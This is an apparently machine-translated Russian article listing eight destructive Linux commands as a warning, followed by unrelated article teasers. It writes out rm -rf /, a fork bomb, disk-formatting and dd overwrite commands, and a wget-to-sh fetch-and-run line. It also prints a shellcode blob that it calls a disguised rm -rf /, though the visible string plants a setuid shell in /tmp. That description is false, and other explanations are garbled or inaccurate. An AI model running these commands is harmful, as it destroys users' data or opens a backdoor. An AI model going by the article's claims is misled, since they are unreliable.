8 смертоносных команд, которые никогда не следует запускать в Linux

8 смертоносных команд, которые никогда не следует запускать в Linux

Команды терминала в Linux весьма разрушительны: если вы запустите команду, она разрушит вашу систему. Linux не требует подтверждения при выполнении какой-либо команды.

Знание того, какие команды не следует запускать в Linux, поможет защитить вашу систему при работе в Linux. Ниже приведены 8 смертельно опасных команд, которые никогда не следует запускать в Linux.

8 смертоносных команд, которые никогда не следует запускать в Linux

1. rm -rf/ — удалить всё

Команда rm -rf / удалит все, включая файлы на жестком диске и файлы на мультимедийных устройствах, подключенных к вашему компьютеру.

Чтобы лучше понять эту команду, проанализируйте ее следующим образом:

  • rm – Удалить следующие файлы.
  • -rf – запускает rm (удаляет все файлы и папки внутри указанной папки) и принудительно удаляет все файлы без предварительного запроса.
  • / – Сообщает, что rm (скажем, rm) запускается в корневом каталоге, включая все файлы на вашем компьютере.

Linux с радостью последует этой команде и удалит все, не предупреждая вас, поэтому будьте осторожны при использовании этой команды.

Кроме того, команда rm используется очень опасными способами. Например, rm –rf ~ удалит все файлы в вашей домашней папке, а rm -rf .* удалит все ваши файлы конфигурации.

2. Замаскированная команда rm –rf/

Вот фрагмент кода, разбросанный по сети:

char esp[] __attribute__ ((section(".text"))) /* выпуск esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

По сути, это другая версия rm –rf/ – выполнение этой команды также удалит все ваши файлы, как и запуск rm –rf/.

3. :(){ :|: & };: – Тип блокбастера

8 смертоносных команд, которые никогда не следует запускать в Linux

Приведенная ниже командная строка выглядит очень простой, но ее функция на самом деле очень опасна:

:(){ :|: & };:

Эта короткая команда создаст новые копии самого себя. То есть сам процесс резервного копирования будет непрерывным и быстро приведет к заполнению вашего процессора и памяти.

Также это может привести к зависанию компьютера. По сути, это атака типа «отказ в обслуживании» (DoS).

4. mkfs.ext4 /dev/sda1 — форматы жестких дисков.

Команду mkfs.ext4 /dev/sda1 довольно легко понять:

  • mkfs.ext4 — создает файловую систему ext4 на следующем устройстве.
  • /dev/sda1 — идентифицирует первый раздел на первом жестком диске, который может быть используемым жестким диском.

Объединение этих двух команд эквивалентно форматированию диска C: в Windows — удалите все файлы в первом разделе и замените их новой файловой системой.

Эта команда может иметь множество различных форматов, например: mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске в файловую систему ext3.

5. команда > /dev/sda — запись напрямую на жесткий диск

8 смертоносных команд, которые никогда не следует запускать в Linux

Командная строка > /dev/sda — запустите команду и выведите результат этой команды непосредственно на ваш первый жесткий диск, записывая данные непосредственно на жесткий диск и уничтожая вашу файловую систему.

  • команда – запустить команду (может быть любая команда).
  • > – отправляет вывод команды в следующее место.
  • /dev/sda — запись вывода команды непосредственно на жесткий диск.

6. dd if=/dev/random of=/dev/sda – записывает на жесткий диск ненужные данные.

Строка dd if=/dev/random of=/dev/sda удалит данные на одном из ваших жестких дисков.

  • dd – предназначен для выполнения низкоуровневого копирования из одного места в другое.
  • if=/dev/random — используйте /dev/random в качестве входных данных — вы можете увидеть адреса типа /dev/zero.
  • of=/dev/sda — вывод на первый жесткий диск, заменяя файловую систему случайными глупыми данными.

7. mv ~ /dev/null — переместите домашний каталог в черную дыру.

/dev/null — перемещение чего-либо в /dev/null равносильно его уничтожению. Думайте о /dev/null как о черной дыре. mv ~ /dev/null отправит все ваши личные файлы в черную дыру.

  • mv – переместить следующий файл или папку в другое место.
  • ~ – Вся ваша домашняя папка.
  • /dev/null — переместите домашнюю папку в /dev/null, это уничтожит все ваши файлы и удалит исходные копии.

8. wget http://example.com/something -O – | sh – загрузить и запустить скрипт

Приведенная выше команда загрузит сценарий из Интернета и отправит его в sh, который выполнит содержимое сценария. Это может быть опасно, если вы не уверены, что такое сценарий, или у вас нет надежного источника сценария — не запускайте ненадежные сценарии.

wget – скачать файл.

http://example.com/something – скачивайте файлы отсюда.

| – Направьте (отправьте) выходные данные команды wget (файл загруженной версии) непосредственно в другую команду.

sh – отправить файл команде sh.

См. еще несколько статей ниже:

Веселиться!


Как установить виджет macOS Big Sur/iOS 14 на Windows 10

Как установить виджет macOS Big Sur/iOS 14 на Windows 10

Версия Big Sur для macOS была официально анонсирована на недавней конференции WWDC. И вы можете полностью перенести интерфейс macOS Big Sur на Windows 10 с помощью инструмента Rainmeter.

Как защитить удаленный рабочий стол от вредоносного ПО RDStealer

Как защитить удаленный рабочий стол от вредоносного ПО RDStealer

RDStealer — это вредоносное ПО, которое пытается украсть учетные данные и данные путем заражения RDP-сервера и мониторинга его удаленных подключений.

7 лучших программ для управления файлами для Windows, которые заменят Проводник

7 лучших программ для управления файлами для Windows, которые заменят Проводник

Может быть, пришло время попрощаться с Проводником и использовать стороннее программное обеспечение для управления файлами? Вот 7 лучших альтернатив Windows File Explorer.

Как работает LoRaWAN? Почему это важно для Интернета вещей?

Как работает LoRaWAN? Почему это важно для Интернета вещей?

LoRaWAN или беспроводная сеть дальнего действия полезна для связи между маломощными устройствами на больших расстояниях.

8 способов открыть дополнительные параметры запуска в Windows 10

8 способов открыть дополнительные параметры запуска в Windows 10

Перейдя к «Дополнительным параметрам запуска», вы можете сбросить Windows 10, восстановить Windows 10, восстановить Windows 10 из файла образа, который вы создали ранее, исправить ошибки запуска, открыть командную строку для выполнения параметров, выбрать другие, открыть настройки UEFI, изменить настройки запуска. ..

Почему стоит хорошо подумать, прежде чем войти в систему через аккаунт социальной сети?

Почему стоит хорошо подумать, прежде чем войти в систему через аккаунт социальной сети?

Каждый раз, когда вы подписываетесь на новую услугу, вы можете выбрать имя пользователя и пароль или просто войти в систему через Facebook или Twitter. Но стоит ли вам это делать?

Инструкция по смене Google DNS 8.8.8.8 и 8.8.4.4

Инструкция по смене Google DNS 8.8.8.8 и 8.8.4.4

DNS Google 8.8.8.8 8.8.4.4 — это один из DNS, который предпочитают использовать многие пользователи, особенно для ускорения доступа к сети или доступа к заблокированному Facebook.

Как всегда запускать Microsoft Edge в режиме InPrivate в Windows 10

Как всегда запускать Microsoft Edge в режиме InPrivate в Windows 10

Если вы используете Microsoft Edge на общем компьютере с Windows 10 и хотите сохранить конфиденциальность своей истории просмотров, вы можете настроить Edge всегда запускать в режиме InPrivate.

Узнайте разницу между симметричным и асимметричным шифрованием

Узнайте разницу между симметричным и асимметричным шифрованием

Сегодня обычно используются два типа шифрования: симметричное и асимметричное шифрование. Основное различие между этими двумя типами шифрования заключается в том, что при симметричном шифровании используется один ключ как для операций шифрования, так и для дешифрования.

Как выйти из полноэкранного режима в Windows

Как выйти из полноэкранного режима в Windows

Полноэкранный режим на вашем компьютере удалит ненужный контент. Итак, как выйти из полноэкранного режима Windows?